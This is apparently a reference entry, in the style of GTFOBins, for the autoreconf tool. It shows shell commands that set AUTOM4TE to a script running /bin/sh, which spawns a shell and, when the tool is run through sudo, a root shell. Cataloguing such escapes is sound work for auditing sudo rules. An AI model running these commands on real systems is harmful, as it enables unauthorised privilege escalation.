autoreconf

Shell

This executable can spawn an interactive system shell.
  1. CommentThe shell is invoked multiple times.
    This function can be performed by any unprivileged user.
    echo '/bin/sh 1>&0' >/path/to/temp-file
    chmod +x /path/to/temp-file
    echo AC_INIT >configure.ac
    AUTOM4TE=/path/to/temp-file autoreconf
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '/bin/sh 1>&0' >/path/to/temp-file
    chmod +x /path/to/temp-file
    echo AC_INIT >configure.ac
    AUTOM4TE=/path/to/temp-file autoreconf